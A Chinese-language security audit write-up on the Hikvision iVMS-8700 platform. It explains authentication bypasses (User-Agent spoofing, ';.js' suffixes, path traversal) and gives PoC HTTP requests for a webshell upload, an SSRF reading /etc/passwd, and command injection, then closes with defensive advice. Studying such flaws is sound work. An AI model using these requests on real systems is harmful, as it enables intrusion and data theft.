海康威视iVMS-8700安全审计实战:从Spring架构到漏洞利用的完整分析

发布时间:2026/7/26 10:30:34

海康威视iVMS-8700安全审计实战:从Spring架构到漏洞利用的完整分析 海康威视iVMS-8700安全审计实战从Spring架构到漏洞利用的完整分析在当今数字化时代视频监控系统已成为企业安全防护的重要组成部分。作为行业领先的安防解决方案提供商海康威视的iVMS-8700平台广泛应用于各类场景。然而随着系统复杂度的提升其安全性也面临着严峻挑战。本文将深入剖析该平台的架构设计与安全机制并提供一系列实战验证的漏洞利用方法。1. iVMS-8700系统架构深度解析iVMS-8700采用模块化设计理念每个功能模块都以独立的WAR包形式部署。这种架构设计虽然提高了系统的灵活性和可维护性但也带来了特定的安全考量。以EPS模块为例其典型目录结构如下eps ├─views ├─index.jsp └─WEB-INF ├─services ├─EpsService ├─META-INF ├─ServiceData.xml ├─services.xml ├─web.xml ├─lib └─classes ├─com ├─i18n ├─springbeans ├─springmvc-servlet.xml ├─securityConfig.xml系统基于Spring框架构建路由机制主要通过web.xml配置实现。关键路由模式包括以.action结尾的请求以/api/开头的请求路由处理由Spring的DispatcherServlet负责配置示例如下servlet servlet-namespringmvc/servlet-name servlet-classorg.springframework.web.servlet.DispatcherServlet/servlet-class init-param param-namecontextConfigLocation/param-name param-valueclasspath*:springmvc-servlet.xml/param-value /init-param /servlet servlet-mapping servlet-namespringmvc/servlet-name url-pattern*.action/url-pattern /servlet-mapping servlet-mapping servlet-namespringmvc/servlet-name url-pattern/api/*/url-pattern /servlet-mapping2. 认证绕过技术深度剖析系统采用多层安全过滤机制但存在多处可被绕过的设计缺陷。我们将重点分析三种典型的绕过方式。2.1 User-Agent伪造绕过在EPS模块中ExtAuthenticationFilter负责验证.action请求。其验证逻辑包含四个关键检查点checkInvalidTicket返回值必须为false不传入ticket参数requestUrlIsLoginWithoutServiceParameters返回值必须为false不传入service参数请求参数不能包含WEB-INFrequestUrlNoNeedFilter为true或HttpRequestUtils.requestComeFromWeChatClient返回true其中第四点尤为关键相关代码如下public static boolean requestComeFromWeChatClient(HttpServletRequest request) { String userAgent request.getHeader(User-Agent); return userAgent ! null userAgent.contains(MicroMessenger); }绕过方法只需在请求头中添加User-Agent: MicroMessenger即可绕过认证。2.2 特殊字符绕过技术CENTER模块采用双重拦截器机制LoginInterceptor处理登录验证PermissionInterceptor处理权限验证关键发现以/api/开头的路径不进行登录校验Tomcat支持的特殊字符如;可被利用实战技巧通过添加;.js后缀可绕过验证例如/center/api/files;.js2.3 路径遍历绕过SVM模块使用HikAuthenticationFilter进行CAS认证其核心逻辑如下if (this.isRequestUrlExcluded(request)) { filterChain.doFilter(request, response); }绕过条件取决于isRequestUrlExcluded方法的返回值。系统从cas-client.properties加载白名单路径cas.ignore.pattern/login,/api/v1/productFile,/api/v1/heartbeat*,...对于非白名单路径可采用../进行路径遍历绕过。3. 历史漏洞复现与利用下表总结了iVMS-8700各模块存在的主要漏洞类型模块漏洞类型影响路由EPS文件上传/eps/api/resourceOperations/uploadEPSSSRF/eps/api/triggerSnapshot/downloadCENTER文件上传/center/api/files;.jsCENTER远程代码执行/center/api/installation/detectionCENTERFastjson反序列化/center/api/sessionSVM文件上传/svm/api/external/reportMSP文件上传/msp/home/upload.actionBICFastjson反序列化/bic/ssoService/v1/keepAlive3.1 文件上传漏洞实战以EPS模块为例文件上传漏洞位于ResourceOperationAction类的uploadAttachment方法。关键利用要点请求必须使用multipart/form-data格式文件字段名必须为fileUploader成功上传后会返回资源UUID示例POCPOST /eps/resourceOperations/upload.action HTTP/1.1 Host: target.com User-Agent: MicroMessenger Content-Type: multipart/form-data; boundary----WebKitFormBoundary7HE80p4aaByyX1zc ------WebKitFormBoundary7HE80p4aaByyX1zc Content-Disposition: form-data; namefileUploader; filenameshell.jsp % 恶意代码 % ------WebKitFormBoundary7HE80p4aaByyX1zc--3.2 SSRF漏洞利用EPS模块的downloadTriggerSnapshot方法存在SSRF漏洞URL url new URL(fileUrl); InputStream is url.openStream();利用方式使用file://协议读取本地文件利用http://探测内网服务示例POCGET /eps/triggerSnapshot/download.action?fileUrlfile:///etc/passwd HTTP/1.13.3 远程代码执行漏洞CENTER模块的部署检测功能存在命令注入漏洞。关键代码String command convertExecuteCommand(machine.getId()); executeCommandReceiveResult(command);利用步骤构造type为environment的JSON请求在machines.id参数中注入命令命令执行结果会写入指定文件示例POCPOST /center/api/installation/detection HTTP/1.1 Content-Type: application/json { type:environment, operate:, machines:{ id:$(id /tmp/result.txt) } }4. 防御建议与最佳实践针对发现的漏洞我们建议采取以下防护措施输入验证强化对所有用户输入进行严格校验实现白名单机制的参数过滤对特殊字符进行转义处理认证机制加固实现统一的认证入口点避免依赖客户端提供的元信息如User-Agent对敏感操作实施多因素认证安全配置优化禁用不必要的HTTP方法限制文件上传类型和存储位置及时更新第三方库版本监控与响应部署WAF防护关键接口建立异常请求监控机制制定漏洞应急响应预案在实际测试过程中发现不同模块对相同漏洞的防护水平存在差异这提示我们在系统开发中应建立统一的安全标准和代码审查流程。

相关新闻